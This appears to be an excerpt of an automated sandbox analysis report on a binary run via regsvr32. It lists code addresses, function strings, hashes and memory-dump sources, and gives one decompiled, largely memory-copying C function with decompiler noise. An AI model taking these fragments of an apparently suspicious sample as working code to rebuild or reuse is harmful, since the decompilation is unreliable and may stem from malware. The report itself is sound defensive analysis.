0x00417139
0x0041713d
0x00417140
0x00000000
0x00000000
0x00417142
0x00417140
0x0041711f
0x00417119
0x00417109
0x004170c7
0x004170c7
0x004170ce
0x004170db
0x004170de
0x004170de
0x004170e1
0x004170e4
0x004170e7
0x004170ea
0x00000000
0x004170ec
0x004170ec
0x004170ef
0x004170f2
0x004171f3
0x004171f3
0x004171f8
0x004171f8
0x004171f8
0x004171fd
0x00417205
0x00417205
0x00417208
0x00000000
0x00000000
0x0041720a
0x0041720d
0x0041725d
0x00000000
0x0041720f
0x0041720f
0x00417212
0x00417219
0x0041723f
0x00417244
0x0041721b
0x0041721b
0x0041721f
0x00417264
0x00000000
0x00417221
0x00417225
0x00417231
0x00417235
0x00417235
0x0041721f
0x00417219
0x00417247
0x00417247
0x0041724c
0x0041724f
0x00417252
0x00417161
0x00417161
0x00417165
0x0041716a
0x0041716c
0x0041716c
0x00417175
0x00000000
0x00417258
0x00000000
0x004171d0
0x004171d4
0x004171eb
0x00000000
0x004171eb
0x00000000
0x004170f8
0x004170f8
0x004170f8
0x004170fb
0x00000000
0x004170fb
0x004170f2
0x004170ea
0x0041717a
0x0041717a
0x0041717e
0x00417182
0x00417184
0x0041718d
0x00417193
0x00417195
0x00417195
0x00417199
0x00417199
0x0041719e
0x004171a7
0x004171ac
0x004171b1
0x004171b7
0x004171be
0x00416fc8
0x00416fc8
0x00416fcc
0x00416fcf
0x00416fe5
0x00416fe9
0x0041704a
0x0041704a
0x0041704d
0x0041704f
0x00417053
0x00417057
0x00417059
0x00417059
0x0041705c
0x00417064
0x00417064
0x00416feb
0x00416feb
0x00416fee
0x00000000
0x00416ff0
0x00416ff0
0x00416ff4
0x00000000
0x00416ff4
0x00416fee
0x00416fd1
0x00416fdb
0x00416fdb
0x00417069
0x00417069
0x0041706c
0x0041706c
0x00417079
0x00417079
0x00416fc2
0x00416bab
0x00416bab
0x00416bae
0x00416bb5
0x00416bb8
0x00416bbd
0x00416bbf
0x00416bc5
0x00416bce
0x00416bd2
0x00416bd6
0x00416bdf
0x00416be3
0x00416be7
0x00416be7
0x00416beb
0x00416beb
0x00000000
0x00416beb
0x00416ba5
0x00416b97
0x00416b8d
0x00416b10
0x00416b1a
0x00416b2f
0x00416b33
0x00416b36
0x00416b38
0x00416b3a
0x00416b3a
0x00416b3c
0x00416b3f
0x00416b4b
0x00416b4f
0x00416b56
0x00416b5a
0x00416b5a
0x00416b5e
0x00416bee
0x00416bee
0x00416bf4
0x00416ae0
0x00416ae0
0x00416ae9
0x00416bfa
0x00416bfa
0x00416bfd
0x00416c00
0x00416c04
0x00416c0a
0x00416c30
0x00416c33
0x00416c36
0x00416c39
0x00416c0c
0x00416c0c
0x00416c10
0x00416c14
0x00000000
0x00416c16
0x00416c18
0x00416c1e
0x00416c21
0x00416c24
0x00416c27
0x00416c27
0x00416c14
0x00416c44
0x00000000
0x00416c4a
0x00416c4c
0x00416c50
0x00416c50
0x00416c56
0x00416c5c
0x00000000
0x00000000
0x00000000
0x00416c5c
0x00416c50
0x00416c44
0x00000000
0x00416bf4
0x00416b0e
0x00000000
0x00416ced

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 0041663B, 00416B10
string too long, xrefs: 00416F1D, 0041707A

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: 0123456789ABCDEFabcdef-+Xx$string too long
API String ID: 0-2189272996
Opcode ID: 454a05d5778d0675d46ea872f98614b66ced061455a22686aec93496cb480743
Instruction ID: 99443e1e6bbda2e990258a8f10bcd5138cf5b86c36966cf36585fc2e775beb8f
Opcode Fuzzy Hash: 454a05d5778d0675d46ea872f98614b66ced061455a22686aec93496cb480743
Instruction Fuzzy Hash: 88628876201A908AEB248F2AC5543BE3761FB44F98F5A8527DE4E47794DB3DC8C6C348

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180013FD0 Relevance: 2.9, Strings: 2, Instructions: 411COMMON

Download Yara Rule

Strings

D?", xrefs: 0000000180014246
8zfK, xrefs: 000000018001451B

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: D?"$8zfK
API String ID: 0-617590365
Opcode ID: f58a98b4df58fdce72c0e7885dd3d804ba7ef7258294e614851e5dfa350b3c1c
Instruction ID: e9c40e61407afffd3e7f35d0112430fa437c79ed50b18f5e5654539a7a314032
Opcode Fuzzy Hash: f58a98b4df58fdce72c0e7885dd3d804ba7ef7258294e614851e5dfa350b3c1c
Instruction Fuzzy Hash: EA1212B550560DCBDB68CF38C48A59E3BE1FF58308F205129FC269B2A2D774DA64CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000C078 Relevance: 2.9, Strings: 2, Instructions: 384COMMON

Download Yara Rule

Strings

#X, xrefs: 000000018000C564
h}, xrefs: 000000018000C778

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$h}
API String ID: 0-3021649463
Opcode ID: b2db15c3223b800cd4780d66961112dd0400bb09218d3434ebea1e418095f42e
Instruction ID: c8994430ebac4d91bfe62b09486cf96aba22708192f4a7e304475a15570598ab
Opcode Fuzzy Hash: b2db15c3223b800cd4780d66961112dd0400bb09218d3434ebea1e418095f42e
Instruction Fuzzy Hash: E522A3709096888BEBF9DF24C889BD97BF0FF44704F90611ED84E9A690DB786645CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029910 Relevance: 2.8, Strings: 2, Instructions: 322COMMON

Download Yara Rule

Strings

#X, xrefs: 0000000180029941
+ <, xrefs: 0000000180029A2E

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$+ <
API String ID: 0-1007305072
Opcode ID: 3c586b07ab88afffe82ef26e7c4153d46f18f2014baa5345a66543dbad760a18
Instruction ID: b7a2ea77234433a66513be5bcc987dc5fafe6066c917cdeb16de46c6279bfc36
Opcode Fuzzy Hash: 3c586b07ab88afffe82ef26e7c4153d46f18f2014baa5345a66543dbad760a18
Instruction Fuzzy Hash: C60278B5900709CFDB88CF68C58A5DD3BB9FB59308F404129FC1E9A2A0D3B4E919CB56

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001B460 Relevance: 2.8, Strings: 2, Instructions: 290COMMON

Download Yara Rule

Strings

aYG, xrefs: 000000018001B648
Hc, xrefs: 000000018001B853

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Hc$aYG
API String ID: 0-2147329803
Opcode ID: df90cc9616f2b9c1c24e5989ebcf8fe6102b1266bf85ba7b7bee55ae89225232
Instruction ID: 1a047212d44c723db1538e4115464673337e88ed736d111ef2eb47996aadc4fc
Opcode Fuzzy Hash: df90cc9616f2b9c1c24e5989ebcf8fe6102b1266bf85ba7b7bee55ae89225232
Instruction Fuzzy Hash: 8ED1137550170DCBEB68CF28C58A6DE3BE9FF58308F504129FC1A862A5CB74E919CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800033D4 Relevance: 2.8, Strings: 2, Instructions: 276COMMON

Download Yara Rule

Strings

Ip, xrefs: 0000000180003906
2/, xrefs: 0000000180003729

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Ip$2/
API String ID: 0-2558650176
Opcode ID: e91aca82e16051f92f6dbdf3cee4f537082049766ade2dd9d76858b25ebc0c60
Instruction ID: 8ae9d6bcdf59b42c178c542d31216c5e9da415e8917c39aa7407a9658721f44a
Opcode Fuzzy Hash: e91aca82e16051f92f6dbdf3cee4f537082049766ade2dd9d76858b25ebc0c60
Instruction Fuzzy Hash: 93E1B271505B888FEBF9DF24CC8ABEA7BA0FB44306F10551AE8499E290DF745689CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180004214 Relevance: 2.8, Strings: 2, Instructions: 253COMMON

Download Yara Rule

Strings

j-`, xrefs: 000000018000444F
h, xrefs: 000000018000432B

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: h$j-`
API String ID: 963392458-2572860821
Opcode ID: 7cf89bdd1f68ee687de5045feafb6fc4a467e2c1ecf066370c920de17f50795b
Instruction ID: f1d97889e421c182d5486fb35c8e09430d7314cae0f2c45db68a0bc9195fdab7
Opcode Fuzzy Hash: 7cf89bdd1f68ee687de5045feafb6fc4a467e2c1ecf066370c920de17f50795b
Instruction Fuzzy Hash: DEC1E57190478CCFDB6CDFA8C88A69DBBB1FB58308F20421DE916AB251DBB59905CF41

Uniqueness

Uniqueness Score: -1.00%

Function 00420D70 Relevance: 2.7, Strings: 2, Instructions: 231
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E00420D70(void* __ebx, signed int __ecx, void* __edi, void* __esp, void* __eflags, void* __rbx, void* __rcx, void* __rdx, void* __rdi, void* __r9, void* __r10, void* __r11, void* __r12, void* __r13, void* __r14, void* __r15) {
				char _v72;
				char _v88;
				void* _v144;
				signed long long __rsi;
				void* _t55;
				void* _t57;
				void* _t58;
				signed int _t62;
				void* _t64;
				long long _t71;
				intOrPtr* _t72;
				signed long long _t77;
				long long* _t79;
				void* _t86;
				long long* _t87;
				long long* _t90;
				void* _t96;
				void* _t97;
				void* _t98;
				void* _t100;
				void* _t108;

				_t83 = __rdx;
				_t62 = __ecx;
				_push(__r15);
				_push(__r14);
				_push(__r13);
				_push(__r12);
				_push(_t86);
				_push(__rdi);
				_push(__rbx);
				_t97 = _t96 - 0x38;
				_t90 =  &_v72;
				r14d = r8d;
				_t108 = __rcx;
				_t71 =  *((intOrPtr*)(__rdx + 0x20));
				 *((long long*)(__rcx + 0x48)) = _t71;
				E0043DFF0(_t55);
				 *((long long*)(__rcx + 0x10)) = 0;
				_t5 = _t108 + 0x20; // 0x20
				_t72 = _t5;
				 *_t90 = _t72;
				asm("xorps xmm0, xmm0");
				asm("inc ecx");
				 *((long long*)(__rcx + 0x30)) = 0;
				_t85 =  *((intOrPtr*)(_t71 + 0x38));
				_t57 = E00437C70(_t72,  *((intOrPtr*)(_t71 + 0x38)));
				_t77 = _t72 + 1;
				E00432700();
				if(_t72 == 0) {
					_t58 = L00430C30(__ebx, _t64, __edi, __esp, __eflags, _t72, __rbx, _t77, __rdx, _t85, _t86, __r9, __r11, __r14);
					asm("ud2");
					asm("invalid");
					asm("gs movsd");
					E0044CEA0(_t58 +  *_t72, _t86);
					asm("ud2");
					_t79 = _t72;
					_t57 = E00401F90(_t62 |  *(_t72 - 0x77), _t64, __eflags, _t72, _t79, _t83, _t100);
					asm("ud2");
					 *_t72 =  *_t72 + _t57;
					 *((intOrPtr*)(_t72 - 0x6f6f6f70)) =  *((intOrPtr*)(_t72 - 0x6f6f6f70)) + _t64;
					_push(_t90);
					_push(_t86);
					_t98 = _t97 - 0x28;
					_t87 = _t79;
					 *_t87 = 0x457b60;
					__eflags =  *(_t87 + 0x10);
					if( *(_t87 + 0x10) != 0) {
						L1();
					}
					__eflags =  *(_t87 + 0x20);
					if( *(_t87 + 0x20) != 0) {
						L1();
					}
					__eflags =  *(_t87 + 0x28);
					if( *(_t87 + 0x28) != 0) {
						L1();
					}
					_t77 =  *((intOrPtr*)(_t87 + 0x30));
					__eflags = _t77;
					if(_t77 == 0) {
						return _t57;
					} else {
						_t97 = _t98 + 0x28;
						_pop(_t90);
						_push(_t90);
						if(_t77 != 0) {
							_pop(_t93);
							goto ( *0x459e30);
						}
						return _t57;
					}
				} else {
					__eflags = __r12;
					if(__r12 != 0) {
						__eflags = __r12 - 0x20;
						if(__r12 < 0x20) {
							L8:
							__rcx = __rax;
							goto L9;
						} else {
							__rcx =  &(__rdi[__r12]);
							__eflags = __rax - __rcx;
							if(__rax >= __rcx) {
								L16:
								__r8 = __r12;
								__r8 = __r12 & 0xffffffe0;
								_t25 = __r8 - 0x20; // -31
								__rbx = _t25;
								__rdx = __rbx;
								__rdx = __rbx >> 5;
								_t26 = __rdx + 1; // -30
								__ecx = _t26;
								__ecx = _t26 & 0x00000003;
								__eflags = __rbx - 0x60;
								if(__rbx >= 0x60) {
									_t27 = __rcx - 1; // -31
									__rsi = _t27;
									__rsi = _t27 - __rdx;
									__edx = 0;
									__eflags = 0;
									do {
										asm("movups xmm0, [edi+edx]");
										asm("movups xmm1, [edi+edx+0x10]");
										asm("movups [eax+edx], xmm0");
										asm("movups [eax+edx+0x10], xmm1");
										asm("movups xmm0, [edi+edx+0x20]");
										asm("movups xmm1, [edi+edx+0x30]");
										asm("movups [eax+edx+0x20], xmm0");
										asm("movups [eax+edx+0x30], xmm1");
										asm("movups xmm0, [edi+edx+0x40]");
										asm("movups xmm1, [edi+edx+0x50]");
										asm("movups [eax+edx+0x40], xmm0");
										asm("movups [eax+edx+0x50], xmm1");
										asm("movups xmm0, [edi+edx+0x60]");
										asm("movups xmm1, [edi+edx+0x70]");
										asm("movups [eax+edx+0x60], xmm0");
										asm("movups [eax+edx+0x70], xmm1");
										__rdx = __rdx - 0xffffff80;
										__rsi = __rsi + 4;
										__eflags = __rsi;
									} while (__rsi != 0);
									__eflags = __rcx;
									if(__rcx != 0) {
										goto L22;
									}
								} else {
									__edx = 0;
									__eflags = __rcx;
									if(__rcx != 0) {
										L22:
										__rbx =  &(__rdi[__rdx + 0x10]);
										_t31 = __rdx + 0x10; // 0x10
										__rdx = __rax + _t31;
										__rcx =  ~__rcx;
										asm("o16 nop [eax+eax]");
										do {
											asm("movups xmm0, [ebx-0x10]");
											asm("movups xmm1, [ebx]");
											asm("movups [edx-0x10], xmm0");
											asm("movups [edx], xmm1");
											__rbx = __rbx + 0x20;
											__rdx = __rdx + 0x20;
											__rcx = __rcx + 1;
											__eflags = __rcx;
										} while (__rcx != 0);
									} else {
									}
								}
								__eflags = __r12 - __r8;
								if(__r12 != __r8) {
									__rcx = __rax;
									__rcx = __rax + __r8;
									__rdi =  &(__rdi[__r8]);
									__r12 = __r12 - __r8;
									L9:
									_t10 = __r12 - 1; // 0x0
									__rsi = _t10;
									__rbx = __r12;
									__rbx = __r12 & 0x00000007;
									__eflags = __rbx;
									if(__rbx != 0) {
										__rbx =  ~__rbx;
										do {
											__edx =  *__rdi & 0x000000ff;
											 *__rcx = __dl;
											__r12 = __r12 - 1;
											__rcx = __rcx + 1;
											__rdi =  &(__rdi[1]);
											__rbx = __rbx + 1;
											__eflags = __rbx;
										} while (__rbx != 0);
									}
									__eflags = __rsi - 7;
									if(__rsi >= 7) {
										do {
											__edx =  *__rdi & 0x000000ff;
											 *__rcx = __dl;
											__edx = __rdi[1] & 0x000000ff;
											 *(__rcx + 1) = __dl;
											__edx = __rdi[2] & 0x000000ff;
											 *((char*)(__rcx + 2)) = __dl;
											__edx = __rdi[3] & 0x000000ff;
											 *((char*)(__rcx + 3)) = __dl;
											__edx = __rdi[4] & 0x000000ff;
											 *((char*)(__rcx + 4)) = __dl;
											__edx = __rdi[5] & 0x000000ff;
											 *((char*)(__rcx + 5)) = __dl;
											__edx = __rdi[6] & 0x000000ff;
											 *((char*)(__rcx + 6)) = __dl;
											__edx = __rdi[7] & 0x000000ff;
											 *((char*)(__rcx + 7)) = __dl;
											__rdi =  &(__rdi[8]);
											__rcx = __rcx + 8;
											__r12 = __r12 + 0xfffffff8;
											__eflags = __r12;
										} while (__r12 != 0);
									}
								}
							} else {
								__rcx = __rax + __r12;
								__eflags = __rdi - __rcx;
								if(__rdi >= __rcx) {
									goto L16;
								} else {
									goto L8;
								}
							}
						}
					}
					 *(__r13 + 0x10) = __rax;
					__esi = 0;
					__edx = 0;
					__rcx = __r13;
					__r8 = __r15;
					__eax = E00421160(__ebx, __ecx, 0, __edi, __esp, __rbx, __r13, __rdi, __rsi, __r8, __r10, __r11, __r12, __r13, __r14, __r15);
					__r15 = __r15 + 0x51;
					__eflags =  *((char*)(__r13 + 0x44));
					_t34 = __r15 + 0x50; // 0x50
					__rcx = _t34;
					__rax =  !=  ? _t34 : __r15 + 0x51;
					__eax =  *( !=  ? _t34 : __r15 + 0x51);
					__eflags = __eax - 0x7f;
					__eax =  ==  ? __esi : __eax;
					__eflags = __eax;
					__ecx =  <  ? __esi :  ==  ? __esi : __eax;
					 *((intOrPtr*)(__r13 + 0x38)) =  <  ? __esi :  ==  ? __esi : __eax;
					_t36 = __r13 + 0x3c; // 0x3c
					__rdx = _t36;
					r8d =  *((char*)(__r15 + 0x53));
					r9d =  *((char*)(__r15 + 0x52));
					__eax =  *((char*)(__r15 + 0x56));
					_v88 =  *((char*)(__r15 + 0x56));
					__rcx = __r13;
					__eax = E004214B0(__r13, _t36, __r8, __r9, __r10);
					_t41 = __r13 + 0x40; // 0x40
					__rdx = _t41;
					r8d =  *((char*)(__r15 + 0x55));
					r9d =  *((char*)(__r15 + 0x54));
					__eax =  *((char*)(__r15 + 0x57));
					_v88 =  *((char*)(__r15 + 0x57));
					__rcx = __r13;
					__eax = E004214B0(__rcx, __rdx, __r8, __r9, __r10);
					__eflags = r14b;
					if(r14b == 0) {
						__rsp = __rsp + 0x38;
						_pop(__rbx);
						_pop(__rdi);
						_pop(__rsi);
						_pop(__r12);
						_pop(__r13);
						_pop(__r14);
						_pop(__r15);
						return __eax;
					} else {
						__rax = 0x76782b24;
					}
				}
			}

0x00420d70
0x00420d70
0x00420d71
0x00420d73
0x00420d75
0x00420d77
0x00420d79
0x00420d7a
0x00420d7b
0x00420d7c
0x00420d80
0x00420d85
0x00420d88
0x00420d8b
0x00420d8f
0x00420d93
0x00420d9b
0x00420da3
0x00420da3
0x00420da7
0x00420dab
0x00420dae
0x00420db3
0x00420dbb
0x00420dc2
0x00420dcd
0x00420dd0
0x00420dd8
0x00421002
0x00421051
0x00421055
0x00421057
0x0042105e
0x00421063
0x00421065
0x00421068
0x0042106d
0x00421074
0x00421076
0x00421080
0x00421081
0x00421082
0x0042108b
0x00421095
0x0042109c
0x0042109f
0x004210a1
0x004210a1
0x004210aa
0x004210ad
0x004210af
0x004210af
0x004210b8
0x004210bb
0x004210bd
0x004210bd
0x004210c2
0x004210c6
0x004210c9
0x004210dd
0x004210cb
0x004210cb
0x004210d0
0x00401ec0
0x00401ec7
0x00401ec9
0x00432715
0x00432715
0x00401ed1
0x00401ed1
0x00420dde
0x00420dde
0x00420de1
0x00420de7
0x00420deb
0x00420e07
0x00420e07
0x00000000
0x00420ded
0x00420ded
0x00420df1
0x00420df4
0x00420e89
0x00420e89
0x00420e8c
0x00420e90
0x00420e90
0x00420e94
0x00420e97
0x00420e9b
0x00420e9b
0x00420e9e
0x00420ea1
0x00420ea5
0x00420eb3
0x00420eb3
0x00420eb7
0x00420eba
0x00420eba
0x00420ec0
0x00420ec0
0x00420ec4
0x00420ec9
0x00420ecd
0x00420ed2
0x00420ed7
0x00420edc
0x00420ee1
0x00420ee6
0x00420eeb
0x00420ef0
0x00420ef5
0x00420efa
0x00420eff
0x00420f04
0x00420f09
0x00420f0e
0x00420f12
0x00420f12
0x00420f12
0x00420f18
0x00420f1b
0x00000000
0x00000000
0x00420ea7
0x00420ea7
0x00420ea9
0x00420eac
0x00420f1d
0x00420f1d
0x00420f22
0x00420f22
0x00420f27
0x00420f2a
0x00420f30
0x00420f30
0x00420f34
0x00420f37
0x00420f3b
0x00420f3e
0x00420f42
0x00420f46
0x00420f46
0x00420f46
0x00000000
0x00420eae
0x00420eac
0x00420f4b
0x00420f4e
0x00420ff1
0x00420ff4
0x00420ff7
0x00420ffa
0x00420e0a
0x00420e0a
0x00420e0a
0x00420e0f
0x00420e12
0x00420e12
0x00420e16
0x00420e18
0x00420e20
0x00420e20
0x00420e23
0x00420e25
0x00420e28
0x00420e2b
0x00420e2e
0x00420e2e
0x00420e2e
0x00420e20
0x00420e33
0x00420e37
0x00420e40
0x00420e40
0x00420e43
0x00420e45
0x00420e49
0x00420e4c
0x00420e50
0x00420e53
0x00420e57
0x00420e5a
0x00420e5e
0x00420e61
0x00420e65
0x00420e68
0x00420e6c
0x00420e6f
0x00420e73
0x00420e76
0x00420e7a
0x00420e7e
0x00420e7e
0x00420e7e
0x00420e84
0x00420e37
0x00420dfa
0x00420dfa
0x00420dfe
0x00420e01
0x00000000
0x00000000
0x00000000
0x00000000
0x00420e01
0x00420df4
0x00420deb
0x00420f54
0x00420f58
0x00420f5a
0x00420f5c
0x00420f5f
0x00420f62
0x00420f6a
0x00420f6e
0x00420f73
0x00420f73
0x00420f77
0x00420f7b
0x00420f7e
0x00420f83
0x00420f86
0x00420f88
0x00420f8b
0x00420f8f
0x00420f8f
0x00420f93
0x00420f98
0x00420f9d
0x00420fa2
0x00420fa6
0x00420fa9
0x00420fae
0x00420fae
0x00420fb2
0x00420fb7
0x00420fbc
0x00420fc1
0x00420fc5
0x00420fc8
0x00420fcd
0x00420fd0
0x00420fe0
0x00420fe4
0x00420fe5
0x00420fe6
0x00420fe7
0x00420fe9
0x00420feb
0x00420fed
0x00420ff0
0x00420fd2
0x00420fd2
0x00420fd2
0x00420fd0

Strings

qE, xrefs: 0042106F
$+xv$+xv, xrefs: 00420FD2

Memory Dump Source

Source File: 00000003.00000002.858135881.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.858071127.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858626622.000000000044E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858657766.000000000044F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858697523.0000000000452000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858729371.0000000000453000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858770447.0000000000455000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858810973.0000000000456000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858864835.0000000000459000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000476000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.858950399.0000000000482000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_regsvr32.jbxd

Similarity

API ID:
String ID: $+xv$+xv$qE
API String ID: 0-360899556
Opcode ID: e816eaa2c35f81b0a79dff4ceab4d35563d44b1b58df1827bdde1722d19edd54
Instruction ID: 6cdaa15f500b54f269abd8f2c588295fbf0a7d85682d36755645660f595c6b43
Opcode Fuzzy Hash: e816eaa2c35f81b0a79dff4ceab4d35563d44b1b58df1827bdde1722d19edd54
Instruction Fuzzy Hash: 54815923B0AAE482CB15CB3595402BD7BA1FB6A798B899316DF9D03742DB3CD1D5C304

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016C70 Relevance: 2.7, Strings: 2, Instructions: 226COMMON

Download Yara Rule

Strings

#z, xrefs: 0000000180016FB0
UP, xrefs: 0000000180016CED

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #z$UP
API String ID: 0-3609392360
Opcode ID: 550135c457ce9de0a38fa7ba25efe375c5c92efa4962973150589f83c0e84419
Instruction ID: 836ac619c3d36103712fe45567681f19665696bbfecef821fa6871be931b83d5
Opcode Fuzzy Hash: 550135c457ce9de0a38fa7ba25efe375c5c92efa4962973150589f83c0e84419
Instruction Fuzzy Hash: BBA1397190460D9BDF59CFA8E4CA6DEBBB0FB64384F104119F846972A0CB749A99CFC1

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800294BC Relevance: 2.7, Strings: 2, Instructions: 194COMMON

Download Yara Rule

Strings

)bkr, xrefs: 00000001800295CD
z~, xrefs: 00000001800294EB

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: )bkr$z~
API String ID: 0-4035444816
Opcode ID: 5b38f0d840313d9f3ca574d07702ced70b63c221434e660478dd8723dd507398
Instruction ID: eb99fdbfc930c4323c247507d42a53e889f1769bc328583e8edafa6fdf9c5232
Opcode Fuzzy Hash: 5b38f0d840313d9f3ca574d07702ced70b63c221434e660478dd8723dd507398
Instruction Fuzzy Hash: 2E917E7111478D8FEBFA8F28CC8A7D937A0FB49314F60C119E88DCA291DF785A499B41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001EC30 Relevance: 2.7, Strings: 2, Instructions: 188COMMON

Download Yara Rule

Strings

NM, xrefs: 000000018001EF7F
aK>, xrefs: 000000018001EF0B

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: aK>$NM
API String ID: 0-1076587397
Opcode ID: c3bac648abfba249b47852098d41859ba07369c2655e972e771b32b502ff7dc2
Instruction ID: d28f95e5a2f3d57a4a765188fdc13b2e990a9ef3d9c4a4e8d43f583d5b8195f4
Opcode Fuzzy Hash: c3bac648abfba249b47852098d41859ba07369c2655e972e771b32b502ff7dc2
Instruction Fuzzy Hash: 26B144B590030DCFDB98CF28C18A5CD7BA8FB55348F505129FC1E9A2A1E3B5E614CB56

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001662C Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

cy5X, xrefs: 00000001800169F9
GcX, xrefs: 0000000180016734

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: GcX$cy5X
API String ID: 0-3427037236
Opcode ID: 31dac3876fb2c8203566e989269622a41f053c7142211a7d3c88141b18e189f4
Instruction ID: f8d0106a9350e24ef9d31b288c0ea9e032b24e4b4ec477e2c787bcd8e034068b
Opcode Fuzzy Hash: 31dac3876fb2c8203566e989269622a41f053c7142211a7d3c88141b18e189f4
Instruction Fuzzy Hash: 67A1B3B0548788CBEBBBDF34C88A7D93BA9FB44744F504619E80E8E2A0DF7457498B41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000AC94 Relevance: 2.7, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

U, xrefs: 000000018000AF25
&, xrefs: 000000018000AF3E

Memory Dump Source

Source File: 00000003.00000002.861337089.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &$U
API String ID: 0-326847644
Opcode ID: abfcacae90548ec85c0fd9e6913092660ec18354f469de3349c35ab14c6f872b
Instruction ID: cc27ddd6eeca1af181c6574c61ad9b64e24032c86f9bbade121ed5d03ce666da
Opcode Fuzzy Hash: abfcacae90548ec85c0fd9e6913092660ec18354f469de3349c35ab14c6f872b
